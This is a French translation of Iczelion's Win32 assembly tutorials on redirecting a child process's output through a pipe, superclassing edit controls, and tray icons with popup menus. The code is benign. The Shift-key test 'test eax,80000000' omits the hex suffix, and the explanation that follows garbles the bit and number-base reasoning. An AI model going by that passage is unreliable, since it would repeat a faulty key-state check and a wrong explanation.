mov hwndEdit,eax
.elseif uMsg==WM_CTLCOLOREDIT
invoke SetTextColor,wParam,Yellow
invoke SetBkColor,wParam,Black
invoke GetStockObject,BLACK_BRUSH
ret
.elseif uMsg==WM_SIZE
mov edx,lParam
mov ecx,edx
shr ecx,16
and edx,0ffffh
invoke MoveWindow,hwndEdit,0,0,edx,ecx,TRUE
.elseif uMsg==WM_COMMAND
.if lParam==0
mov eax,wParam
.if ax==IDM_ASSEMBLE
mov sat.niLength,sizeof SECURITY_ATTRIBUTES
mov sat.lpSecurityDescriptor,NULL
mov sat.bInheritHandle,TRUE
invoke CreatePipe,addr hRead,addr hWrite,addr sat,NULL
.if eax==NULL
invoke MessageBox, hWnd, addr CreatePipeError, addr AppName, MB_ICONERROR+ MB_OK
.else
mov startupinfo.cb,sizeof STARTUPINFO
invoke GetStartupInfo,addr startupinfo
mov eax, hWrite
mov startupinfo.hStdOutput,eax
mov startupinfo.hStdError,eax
mov startupinfo.dwFlags, STARTF_USESHOWWINDOW+ STARTF_USESTDHANDLES
mov startupinfo.wShowWindow,SW_HIDE
invoke CreateProcess, NULL, addr CommandLine, NULL, NULL, TRUE, NULL, NULL, NULL, addr startupinfo, addr pinfo
.if eax==NULL
invoke MessageBox,hWnd,addr CreateProcessError,addr AppName,MB_ICONERROR+MB_OK
.else
invoke CloseHandle,hWrite
.while TRUE
invoke RtlZeroMemory,addr buffer,1024
invoke ReadFile,hRead,addr buffer,1023,addr bytesRead,NULL
.if eax==NULL
.break
.endif
invoke SendMessage,hwndEdit,EM_SETSEL,-1,0
invoke SendMessage,hwndEdit,EM_REPLACESEL,FALSE,addr buffer
.endw
.endif
invoke CloseHandle,hRead
.endif
.endif
.endif
.elseif uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.else
invoke DefWindowProc,hWnd,uMsg,wParam,lParam ret
.endif
xor eax,eax
ret
WndProc endp
end start

Analyse:

Notre exemple appellera le petit programme ml.exe pour assembler un fichier nommé test.asm, puis fera suivre la sortie (les données en sortie) de ml.exe vers le contrôle d'édition (du secteur client de notre programme).
Quand le programme est chargé, on enregistre la 'window class' et on crée comme d'habitude la fenêtre principale. La première chose qu'on fait pendant la création de la fenêtre principale c'est de créer un contrôle d'édition qui sera employé pour afficher les données de sortie de ml.exe (pour afficher par exemple: ml.exe vient d'assembler Test.asm avec succès…..).
Maintenant nous voici dans la partie intéressante (mais c'est le deuxième point de ce tutorial. Ça n'a aucun rapport avec ce qu'on a vu avant), nous allons changer la couleur du texte et la couleur de fond du contrôle d'édition. Quand un contrôle d'édition repeindre son secteur client, il envoie le message WM_CTLCOLOREDIT à sa fenêtre parente..
wParam contient l'handle du style d'écriture que le contrôle d'édition emploiera pour écrire son propre secteur de client. Nous pouvons profiter de cette occasion pour modifier les caractéristiques de l'HDC.
.elseif uMsg==WM_CTLCOLOREDIT
invoke SetTextColor,wParam,Yellow
invoke SetTextColor,wParam,Black
invoke GetStockObject,BLACK_BRUSH
ret
SetTextColor change la couleur du texte en jaune. SetTextColor change la couleur du fond en noir. Et finalement, nous obtenons l'handle du pinceau noir que nous renvoyons à Windows. Avec le message WM_CTLCOLOREDIT, on renvoie l'handle du pinceau que Windows emploiera pour repeindre le fond du contrôle d'édition. Dans notre exemple, je souhaite que le fond soit noir, donc je renvoie à Windows l'handle du pinceau noir.
Maintenant quand l'utilisateur choisit le menuitem (le sous-menu) Assemble, il crée un pipe anonyme.

.if ax==IDM_ASSEMBLE
mov sat.niLength,sizeof SECURITY_ATTRIBUTES
mov sat.lpSecurityDescriptor,NULL
mov sat.bInheritHandle,TRUE

Avant l'appel CreatePipe, nous devons d'abord remplir la structure SECURITY_ATTRIBUTES. Notez que nous pouvons employer NULL dans le membre lpSecurityDescriptor si nous ne nous soucions pas de la sécurité. Et le membre bInheritHandle doit être TRUE pour que les handles du pipe soient les mêmes pour le process parent et le process enfant.

invoke CreatePipe,addr hRead,addr hWrite,addr sat,NULL

Après ça, nous appelons CreatePipe qui, si il est couronné de succès, remplira les variables hRead et hWrite respectivement avec les handles de lecture et d'écriture des bouts du pipe.

mov startupinfo.cb,sizeof STARTUPINFO
invoke GetStartupInfo,addr startupinfo
mov eax, hWrite
mov startupinfo.hStdOutput,eax
mov startupinfo.hStdError,eax
mov startupinfo.dwFlags, STARTF_USESHOWWINDOW+ STARTF_USESTDHANDLES
mov startupinfo.wShowWindow,SW_HIDE

Ensuite nous devons remplir la structure STARTUPINFO. Nous appelons GetStartupInfo pour remplir la structure STARTUPINFO avec les valeurs de défaut du process parent. Vous DEVEZ remplir la structure STARTUPINFO avec cet appel si vous avez l'intention que votre code puisse travailler à la fois sous win9x et NT. Après les valeurs retournées par l'appel GetStartupInfo, vous pouvez modifier les membres qui sont importants. Nous copions l'handle d'écriture du bout du pipe dans hStdOutput et hStdError puisque nous voulons que le process enfant l'utilise au lieu des handles standards de Sortie/Erreur par défaut. Nous souhaitons aussi cacher la fenêtre de console du process enfant, donc nous mettons la valeur SW_HIDE dans le membre wShowWidow. Et finalement, nous devons indiquer que les membres hStdOutput, hStdError et wShowWindow sont valables (ils sont utilisables car ils sont porteur d'une information) et doivent être utilisés en plaçant les flags STARTF_USESHOWWINDOW et STARTF_USESTDHANDLES dans le membre dwFlags.

invoke CreateProcess, NULL, addr CommandLine, NULL, NULL, TRUE, NULL, NULL, NULL, addr startupinfo, addr pinfo

Nous créons maintenant le process enfant grâce à l'appel CreateProcess. Remarquez que le paramètre bInheritHandles doit être mis à TRUE pour que l'handle du pipe soit le même que son parent, et ainsi fonctionne normalement.

invoke CloseHandle,hWrite

Après que nous ayons créé le process enfant avec succès, nous devons fermer le bout d'écriture du pipe. Rappelez-vous que nous avons passé l'handle d'écriture au process enfant via la structure STARTUPINFO. Si nous ne fermons pas cet handle nous même, il y aura deux bouts d'écriture. Et alors le pipe ne fonctionnera pas. Nous devons fermer l'handle d'écriture : Après CreateProcess, mais aussi, Avant que nous ne lisions les données appartenant au bout de lecture du pipe.

.while TRUE
invoke RtlZeroMemory,addr buffer,1024
invoke ReadFile,hRead,addr buffer,1023,addr bytesRead,NULL
.if eax==NULL
.break
.endif
invoke SendMessage,hwndEdit,EM_SETSEL,-1,0
invoke SendMessage,hwndEdit,EM_REPLACESEL,FALSE,addr buffer
.endw

Maintenant nous sommes prêts à lire les données de la Sortie Standard du process enfant. Nous tournerons dans une boucle infinie jusqu'à ce qu'il n'y ait plus de données de lecture. Nous appelons RtlZeroMemory pour qu'il remplisse le buffer avec des zéros lors de l'appel ReadFile, en passant l'handle de lecture du pipe au lieu de l'handle d'un fichier (pour lire dans le Buffer et non dans un fichier). Notez bien que nous ne pouvons lire qu'un maximum de 1023 octets puisque nous avons besoin des données qu'en tant que chaîne de caractères ASCIIZ, lesquels nous pouvons maintenant passer au contrôle d'édition.
Lorsque ReadFile nous retourne les données du buffer, nous les envoyons dans le contrôle d'édition. Cependant, il y a un léger problème ici. Si nous employons SetWindowText pour mettre les données dans le contrôle d'édition, nos nouvelles données recouvriront et effaceront des données déjà existantes! Nous préférons plutôt que nos données s'ajoutent à la fin des données existantes.
Pour réussir à faire ça, nous devons d'abord déplacer notre curseur à la fin du texte dans le contrôle d'édition en envoyant le message EM_SETSEL avec wParam =-1. Ensuite, nous ajoutons les données à partir de ce point grâce au message EM_REPLACESEL.

invoke CloseHandle,hRead

Dès que ReadFile renvoie le NULL, nous sortons de la boucle de lecture et refermons justement l'handle de lecture.

Iczelion's Win32 Assembly Homepage

Traduit par Morgatte


Iczelion's Win32 Assembly Tutorial 22: SuperClassing

Tutorial 22: Superclassification
(Superclassing)

Dans ce Tutorial, nous allons voir, ce qu'est la superclassification et à quoi ça sert. Vous allez aussi apprendre à munir vos 'Controls' de la fonction de la touche TAB. (vous savez ! en appuyant sur TAB on met en sélection les boutons ou le contrôle d'édition… les uns après les autres)
Downloadez l'exemple ici

Théorie:

Dans votre carrière de programmeur, vous avez sûrement déjà rencontré une situation où vous avez besoin de plusieurs 'Controls' avec un comportement *peu* différent. Par exemple, vous pouvez avoir besoin de 10 'contrôles d'édition' qui acceptent seulement des nombres. Il y a plusieurs façons de réaliser ceci :
  • Créez votre propre 'window class' et instance.
  • Créez ce 'contrôle d'édition' et ensuite sous-classez chacun d'entre eux (les prochains).
  • Superclassez le contrôle d'édition
La première méthode est trop ennuyeuse. On doit réaliser chaque fonctionnalité du contrôle d'édition par nous-même. Il vaut mieux laisser tomber ça. La deuxième méthode est meilleure que la première, mais c'est encore un travail de longue haleine. C'est bon si vous sous-classez uniquement quelques 'controls' mais ce sera un véritable cauchemar si vous sous-classer plus d'une douzaine de 'Controls'. La superclassification est la technique que vous devez employer pour cette occasion.
La sousclassification est la méthode qu'on doit utiliser pour *prendre le contrôle* d'une classe de fenêtre particulière. Par *la prise de contrôle*, je veux dire que vous pouvez modifier les propriétés de la (Window Class) classe de fenêtre pour la modeler à votre convenance, ainsi on crée une série de 'Controls'.
Les étapes de la superclassification sont décrites ci-dessous :
  • call GetClassInfoEx sert à obtenir l'information sur la 'Window Class' vous voulez pour la superclasse. GetClassInfoEx exige que le pointer soit sur la structure WNDCLASSEX laquelle sera remplie de l'information si l'appel est renvoyé avec succès.
  • Modifiez les membres que vous voulez dans la structure WNDCLASSEX. Cependant, il y a deux membres que vous DEVEZ changer :
    • hInstance Vous devez mettre l'instance handle de votre programme dans ce membre.
    • lpszClassName Vous devez mettre ici le pointer qui est sur le nouveau 'class name'.

      • Vous n'avez pas besoin de modifier le membre lpfnWndProc, mais la plupart du temps, vous avez quand même besoin de le faire. Surtout, n'oubliez pas de sauver le membre lpfnWndProc d'origine si vous souhaitez l'appeler avec CallWindowProc.
  • Enregistrez votre structure WNDCLASSEX modifiée. Vous aurez une nouvelle (Window Class) classe de fenêtre qui aura plusieurs des caractéristiques de la vieille classe de fenêtre.
  • Créez des fenêtres avec la nouvelle 'class'.
La superclassification, c'est mieux que la sousclassification si vous souhaitez créer pas mal de 'Controls' ayant les mêmes caractéristiques.

Exemple:

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

WM_SUPERCLASS equ WM_USER+5
WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD
EditWndProc PROTO :DWORD,:DWORD,:DWORD,:DWORD

.data
ClassName db "SuperclassWinClass",0
AppName db "Superclassing Demo",0
EditClass db "EDIT",0
OurClass db "SUPEREDITCLASS",0
Message db "You pressed the Enter key in the text box!",0

.data?
hInstance dd ?
hwndEdit dd 6 dup(?)
OldWndProc dd ?

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke WinMain, hInstance,NULL,NULL, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND

mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_APPWORKSPACE
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE+WS_EX_CONTROLPARENT,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPED+WS_CAPTION+WS_SYSMENU+WS_MINIMIZEBOX+WS_MAXIMIZEBOX+WS_VISIBLE,CW_USEDEFAULT,\
CW_USEDEFAULT,350,220,NULL,NULL,\
hInst,NULL
mov hwnd,eax

.while TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.endw
mov eax,msg.wParam
ret
WinMain endp

WndProc proc uses ebx edi hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL wc:WNDCLASSEX
.if uMsg==WM_CREATE
mov wc.cbSize,sizeof WNDCLASSEX
invoke GetClassInfoEx,NULL,addr EditClass,addr wc
push wc.lpfnWndProc
pop OldWndProc
mov wc.lpfnWndProc, OFFSET EditWndProc
push hInstance
pop wc.hInstance
mov wc.lpszClassName,OFFSET OurClass
invoke RegisterClassEx, addr wc
xor ebx,ebx
mov edi,20
.while ebx<6
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR OurClass,NULL,\
WS_CHILD+WS_VISIBLE+WS_BORDER,20,\
edi,300,25,hWnd,ebx,\
hInstance,NULL
mov dword ptr [hwndEdit+4*ebx],eax
add edi,25
inc ebx
.endw
invoke SetFocus,hwndEdit
.elseif uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.else
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.endif
xor eax,eax
ret
WndProc endp

EditWndProc PROC hEdit:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD
.if uMsg==WM_CHAR
mov eax,wParam
.if (al>="0" && al<="9") || (al>="A" && al<="F") || (al>="a" && al<="f") || al==VK_BACK
.if al>="a" && al<="f"
sub al,20h
.endif
invoke CallWindowProc,OldWndProc,hEdit,uMsg,eax,lParam
ret
.endif
.elseif uMsg==WM_KEYDOWN
mov eax,wParam
.if al==VK_RETURN
invoke MessageBox,hEdit,addr Message,addr AppName,MB_OK+MB_ICONINFORMATION
invoke SetFocus,hEdit
.elseif al==VK_TAB
invoke GetKeyState,VK_SHIFT
test eax,80000000
.if ZERO?
invoke GetWindow,hEdit,GW_HWNDNEXT
.if eax==NULL
invoke GetWindow,hEdit,GW_HWNDFIRST
.endif
.else
invoke GetWindow,hEdit,GW_HWNDPREV
.if eax==NULL
invoke GetWindow,hEdit,GW_HWNDLAST
.endif
.endif
invoke SetFocus,eax
xor eax,eax
ret
.else
invoke CallWindowProc,OldWndProc,hEdit,uMsg,wParam,lParam
ret
.endif
.else
invoke CallWindowProc,OldWndProc,hEdit,uMsg,wParam,lParam
ret
.endif
xor eax,eax
ret
EditWndProc endp
end start

Analyse:

Le programme créera une simple fenêtre avec 6 contrôles d'édition "retouchés" dans son secteur client. Les contrôles d'édition accepteront uniquement des chiffres hexdécimaux. En réalité, j'ai modifié l'exemple de 'Sousclassification' pour le transformer en superclassification. Le début du programme reste le même mais la partie intéressante c'est quand on crée la fenêtre principale :

.if uMsg==WM_CREATE
mov wc.cbSize,sizeof WNDCLASSEX
invoke GetClassInfoEx,NULL,addr EditClass,addr wc

Nous devons d'abord remplir la structure de WNDCLASSEX avec les données de class que nous souhaitons imposer comme superclasse, dans ce cas, c'est (l'Edit Class) la classe D'ÉDITION. Rappelez-vous aussi que vous devez mettre le membre cbSize (de la structure WNDCLASSEX) avant que vous n'appeliez GetClassInfoEx, sinon la structure WNDCLASSEX ne sera pas correctement remplie. Après les retours de GetClassInfoEx, wc est rempli de toute l'information que nous avons besoin pour créer une nouvelle 'Window Class'.

push wc.lpfnWndProc
pop OldWndProc
mov wc.lpfnWndProc, OFFSET EditWndProc
push hInstance
pop wc.hInstance
mov wc.lpszClassName,OFFSET OurClass

Maintenant nous devons modifier certains membres de wc. Le premier c'est le pointer de la procédure de fenêtre. Puisque nous avons besoin d'enchaîner notre propre procédure de fenêtre avec l'originale, nous devons la sauvegarder dans une variable, c'est pourquoi on l'appelle avec CallWindowProc. Cette technique est identique à la sousclassification sauf que vous modifiez directement la structure WNDCLASSEX sans avoir besoin d'appeler SetWindowLong. Les deux membres suivants doivent aussi être modifiés, sinon vous serez dans l'incapacité d'enregistrer votre nouvelle 'Window Classe',idem pour ce qui concerne hInstance et lpsClassName. Vous devez remplacer l'hInstance original par l'hInstance de votre propre programme. Et vous devez choisir un nouveau nom pour la nouvelle 'class'.

invoke RegisterClassEx, addr wc

Quand tout est enfin prêt, on registre la nouvelle classe. on obtient une nouvelle class avec quand même certaines caractéristiques de la vieille class.

xor ebx,ebx
mov edi,20
.while ebx<6
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR OurClass,NULL,\
WS_CHILD+WS_VISIBLE+WS_BORDER,20,\
edi,300,25,hWnd,ebx,\
hInstance,NULL
mov dword ptr [hwndEdit+4*ebx],eax
add edi,25
inc ebx
.endw
invoke SetFocus,hwndEdit

Maintenant que nous avons enregistré la class, nous pouvons y créer des fenêtres de base. Dans le susdit petit bout de code, j'emploie ebx en tant que compteur de nombre de fenêtres créées. edi est employé comme coordonnée 'Y' du coin gauche supérieur de la fenêtre. Quand une fenêtre est créée, son handle est stocké dans un tableau (informations de type dword). Quand toutes les fenêtres sont créées, le centre d'entrée est sur la première fenêtre. (le centre d'entrée = ex : un bouton est encadré de pointillé où un contrôle d'édition est activée [curseur présent], alors c'est que le centre d'entrée est sur lui.)
À ce niveau, on a 6 contrôles d'édition qui acceptent uniquement des chiffres hexadécimaux. La procédure de fenêtre de substitution manipule les filtres (donc pas de caractère autres que 0-9 ou a-f). En réalité, c'est la même chose que pour la procédure de fenêtre de l'exemple de sousclassification. Donc, comme vous pouvez le voir, vous n'avez pas besoin de refaire le travail de sousclassification pour chacun des contrôles d'édition.

Pour rendre cet exemple encore plus intéressant, je rajoute un petit bout de code qui manipule le contrôle de navigation grâce à la touche TAB. Normalement, si vous mettez des 'Controls' dans une boîte de dialogue, le manager de boîte de dialogue gère les touches de navigation pour vous. De cette manière vous pouvez grâce à la touche TAB passer au contrôle suivant ou bien avec Shift-Tab revenir au contrôle précédent. Hélas, cette particularité n'est pas disponible si vous placez vos 'Controls' dans une simple fenêtre (au lieu d'une Dialog Box). Vous devez les sous-classer, comme ça vous pourrez gérer les touches Tab et Shift-Tab par vous-même. Dans notre exemple, nous n'avons pas besoin de sous-classer les 'Controls' l'un après l'autre vu qu'on les a déjà superclassés, donc nous pouvons leur fournir "un manager de navigation de contrôle" commun.

.elseif al==VK_TAB
invoke GetKeyState,VK_SHIFT
test eax,80000000
.if ZERO?
invoke GetWindow,hEdit,GW_HWNDNEXT
.if eax==NULL
invoke GetWindow,hEdit,GW_HWNDFIRST
.endif
.else
invoke GetWindow,hEdit,GW_HWNDPREV
.if eax==NULL
invoke GetWindow,hEdit,GW_HWNDLAST
.endif
.endif
invoke SetFocus,eax
xor eax,eax
ret

Le susdit petit bout de code est la procédure EditWndClass. Il vérifie si l'utilisateur appuie sur la touche TAB, si c'est le cas, on appelle GetKeyState pour vérifier si la TOUCHE DES MAJUSCULES (SHIFT) est aussi pressée. GetKeyState renvoie une valeur dans eax qui détermine si la touche indiquée est pressée ou non. Si la touche est appuyée, le Bit de poids fort de eax est rempli. Si 'SHIFT' n'est pas pressé, on laisse ce Bit à 0. Donc on compare la valeur de retour avec 80000000. Si le Bit de poids fort est à 8, ça signifie que l'utilisateur a appuyé sur shift+tab, que nous devons gérer séparément.
Un Dword , donc 32 bit donc (0000 0000 0000 0000 0000 0000 0000 0000)h on met sa partie haute à 1 (1111 0000 0000 0000 0000 0000 0000 0000)h =(8 0 0 0 0 0 0 0)d, car Masm manipule des décimaux par défaut.
Si l'utilisateur appuie seulement sur la touche TAB, nous appelons GetWindow pour retrouver l'handle du contrôle suivant. Nous utilisons le flag GW_HWNDNEXT pour dire à GetWindow de récupérer l'handle de la fenêtre qui suit la ligne du hEdit courant. Si cette fonction renvoie un NULL, on ne le considère pas comme un handle, ainsi le courant hEdit est le dernier contrôle. Nous "revenons" donc au premier contrôle en appelant GetWindow avec son flag GW_HWNDFIRST. C'est la même chose pour la configuration SHIFT-TAB que pour la touche TAB, sauf qu'on inverse tout.

[Iczelion's Win32 Assembly Homepage]
Traduit par Morgatte


Iczelion's Win32 Assembly Tutorial 23: Tray Icon

Tutorial 23: Icône de Barre de Taches
(Tray Icon)

Dans ce Tutorial, nous allons voir comment mettre des icônes dans le 'System Tray'(système de barre de tâches) et comment créer/employer un menu popup.
Downloadez l'exemple ici. Vous obtiendrez une fenêtre, qui si vous la réduisez au maximum placera son icône dans la barre de tâches au lieu de la laisser à côté du menu 'Démarrer'.

Théorie:

Le 'System Tray' est la région rectangulaire dans la barre de tâche où plusieurs icônes sont rangées. Normalement, vous y verrez au moins l'icône de l'horloge digitale. Vous pouvez aussi mettre des icônes sur le 'System Tray'. Ci-dessous voici les étapes que vous devez exécuter pour mettre une icône sur le 'System Tray' :
  1. Remplissez la structure NOTIFYICONDATA avec les membres suivants:
    • cbSize est la taille de cette structure.
    • hwnd est l'handle de la fenêtre qui recevra l'avis (l'information) quand un événement souris arrive au 'Tray Icon'. (le Tray Icon c'est donc l'Icône de notre programme lorsquelle est réduite dans la barre de tâches)
    • uID est une constante qui est employée comme identificateur de cette icône. C'est à vous de choisir cette valeur. Au cas où vous avez plus d'une 'Tray Icon', vous serez ainsi capables de vérifier sur quelle 'Tray Icon' la souris agit.
    • uFlags indique que les membres de cette structure sont valables.
      • NIF_ICON le membre 'hIcon' est valide.
      • NIF_MESSAGE le membre uCallbackMessage est valide.
      • NIF_TIP le membre szTip est valide.
    • uCallbackMessage est notre message créé sur mesures (custum message) que Windows enverra à la fenêtre spécifiée grâce au membre hwnd, lorsqu'on clique sur notre 'tray icon' avec la souris. Il faudra créez ce message par nous-même.
    • hIcon est l'handle de l'icône que l'on souhaite mettre dans le 'system tray'.
    • szTip est un tableau de 64 octets qui contient la chaîne de caractères qui sera employée en tant que texte 'tooltip' quand la souris plane au dessus du 'tray icon'. (un texte tooltip, vous savez! c'est une sorte de bulle qui sert à informer sur la nature d'un objet).
  2. Call Shell_NotifyIcon laquelle est définie dans shell32.inc. Cette fonction a le prototype suivant :

    3. Shell_NotifyIcon PROTO dwMessage:DWORD ,pnid:DWORD

    dwMessage est le type de message à envoyer au Shell.
    NIM_ADD ajoute une icône au secteur de statut.
    NIM_DELETE supprime une icône du secteur de statut.
    NIM_MODIFY modifie une icône dans le secteur de statut.
    pnid est le pointer qui est sur la structure NOTIFYICONDATA. Elle doit être remplie des valeurs appropriées.
    Si vous voulez ajouter une icône dans le 'System Tray', vous devez utiliser le message NIM_ADD, si vous voulez enlever l'icône, il faut employer NIM_DELETE.

C'est tous pour le moment. Mais la plupart du temps, on ne se contente pas seulement de mettre une icône à cet endroit. On a besoin d'être capables de répondre aux événements (au clique) de la souris sur un 'tray icon'. On peut faire ça en traitant le message que nous avons spécifié dans le membre uCallbackMessage de la structure NOTIFYICONDATA. Ce message prend les valeurs suivantes dans wParam et lParam (un petit remerciement spécial à s__d pour ses renseignements) :
  • wParam contient l'ID de l'icône. C'est la même valeur que celle que vous mettez dans le membre uID de structure NOTIFYICONDATA.
  • lParam est le mot de poids fable qui contient le message de la souris. Par exemple, si l'utilisateur effectue un clique de droit sur l'icône, lParam contiendra WM_RBUTTONDOWN.
Cependant, beaucoup de 'Tray Icons' déploient un menu popup quand l'utilisateur clique dessus. Nous pouvons exécuter cette particularité en créant un menu popup et en appelant ensuite TrackPopupMenu pour l'afficher. Les étapes sont décrits ci-dessous :
  1. Créez un menu popup en appelant CreatePopupMenu. Cette fonction crée un menu vide. Elle renvoie l'handle du menu dans eax, en cas de succès.
  2. Ajoutez-y des Items de menu grâce à AppendMenu, InsertMenu or InsertMenuItem.
  3. Lorsque vous souhaitez montrer le menu popup à l'endroit où est placée le curseur de la souris, appelez GetCursorPos pour obtenir la coordonnée du curseur sur l'écran puis appeler ensuite TrackPopupMenu pour afficher le menu. Quand l'utilisateur choisit un Item (un article) du menu popup (c'est aussi un sous menu si vous préférez), Windows envoie le message WM_COMMAND à votre procédure de fenêtre exactement comme pour une sélection d'un menu normal.
Note : Prenez garde de deux choses un peu ennuyeuses lorsque vous utilisez un menu popup avec un 'Tray Icon' :
  1. Si vous cliquez n'importe où à l'extérieur du menu popup lorsqu'il est affiché, celui-ci ne disparaîtra pas immédiatement comme il devrait le faire. Ça se passe comme ça parce que la fenêtre qui recevra les avis du menu popup DOIT ÊTRE la fenêtre de premier plan. Le simple appel SetForegroundWindow corrigera ce défaut.
  2. Après l'appel SetForegroundWindow, vous constaterez que la toute première fois où le menu popup est affiché, ça fonctionne bien mais les fois suivantes, notre menu popup s'ouvrira puis se fermera immédiatement. Ce comportement n'est "pas intentionnel", pour citer MSDN. Le commutateur de tâche du programme, lequel contrôle le 'tray icon', est nécessaire. Vous pouvez forcer ce commutateur de tâche en postant n'importe quel message à la fenêtre du programme. Utilisez juste le simple message 'PostMessage', et non pas 'SendMessage'!

Exemple:

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\shell32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\shell32.lib

WM_SHELLNOTIFY equ WM_USER+5
IDI_TRAY equ 0
IDM_RESTORE equ 1000
IDM_EXIT equ 1010
WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD

.data
ClassName db "TrayIconWinClass",0
AppName db "TrayIcon Demo",0
RestoreString db "&Restore",0
ExitString db "E&xit Program",0

.data?
hInstance dd ?
note NOTIFYICONDATA <>
hPopupMenu dd ?

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke WinMain, hInstance,NULL,NULL, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW or CS_DBLCLKS
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_APPWORKSPACE
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPED+WS_CAPTION+WS_SYSMENU+WS_MINIMIZEBOX+WS_MAXIMIZEBOX+WS_VISIBLE,CW_USEDEFAULT,\
CW_USEDEFAULT,350,200,NULL,NULL,\
hInst,NULL
mov hwnd,eax
.while TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.endw
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL pt:POINT
.if uMsg==WM_CREATE
invoke CreatePopupMenu
mov hPopupMenu,eax
invoke AppendMenu,hPopupMenu,MF_STRING,IDM_RESTORE,addr RestoreString
invoke AppendMenu,hPopupMenu,MF_STRING,IDM_EXIT,addr ExitString
.elseif uMsg==WM_DESTROY
invoke DestroyMenu,hPopupMenu
invoke PostQuitMessage,NULL
.elseif uMsg==WM_SIZE
.if wParam==SIZE_MINIMIZED
mov note.cbSize,sizeof NOTIFYICONDATA
push hWnd
pop note.hwnd
mov note.uID,IDI_TRAY
mov note.uFlags,NIF_ICON+NIF_MESSAGE+NIF_TIP
mov note.uCallbackMessage,WM_SHELLNOTIFY
invoke LoadIcon,NULL,IDI_WINLOGO
mov note.hIcon,eax
invoke lstrcpy,addr note.szTip,addr AppName
invoke ShowWindow,hWnd,SW_HIDE
invoke Shell_NotifyIcon,NIM_ADD,addr note
.endif
.elseif uMsg==WM_COMMAND
.if lParam==0
invoke Shell_NotifyIcon,NIM_DELETE,addr note
mov eax,wParam
.if ax==IDM_RESTORE
invoke ShowWindow,hWnd,SW_RESTORE
.else
invoke DestroyWindow,hWnd
.endif
.endif
.elseif uMsg==WM_SHELLNOTIFY
.if wParam==IDI_TRAY
.if lParam==WM_RBUTTONDOWN
invoke GetCursorPos,addr pt
invoke SetForegroundWindow,hWnd
invoke TrackPopupMenu,hPopupMenu,TPM_RIGHTALIGN,pt.x,pt.y,NULL,hWnd,NULL
invoke PostMessage,hWnd,WM_NULL,0,0
.elseif lParam==WM_LBUTTONDBLCLK
invoke SendMessage,hWnd,WM_COMMAND,IDM_RESTORE,0
.endif
.endif
.else
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.endif
xor eax,eax
ret
WndProc endp

end start

Analyse:

Notre programme affichera une simple fenêtre. Lorsque vous appuyez sur le bouton de réduction (au minimum), il se cachera et mettra une icône dans le 'system tray' tout en bas à droite à côté de votre horloge. Quand vous double cliquez sur l'icône, le programme se rétablira et enlèvera l'icône du 'system tray'. Quand vous simple-cliquez dessus, un menu popup est affiché. Grâce à ce menu, vous pourrez soit le rétablir (réagrandir) soit en sortir.

.if uMsg==WM_CREATE
invoke CreatePopupMenu
mov hPopupMenu,eax
invoke AppendMenu,hPopupMenu,MF_STRING,IDM_RESTORE,addr RestoreString
invoke AppendMenu,hPopupMenu,MF_STRING,IDM_EXIT,addr ExitString

Quand la fenêtre principale est créée, on crée un menu popup et on y ajouter deux Items (deux sous-menu). La fonction 'AppendMenu' a la syntaxe suivante :

AppendMenu PROTO hMenu:DWORD, uFlags:DWORD, uIDNewItem:DWORD, lpNewItem:DWORD
  • hMenu est l'handle du menu auquel vous voulez ajouter l'Item.
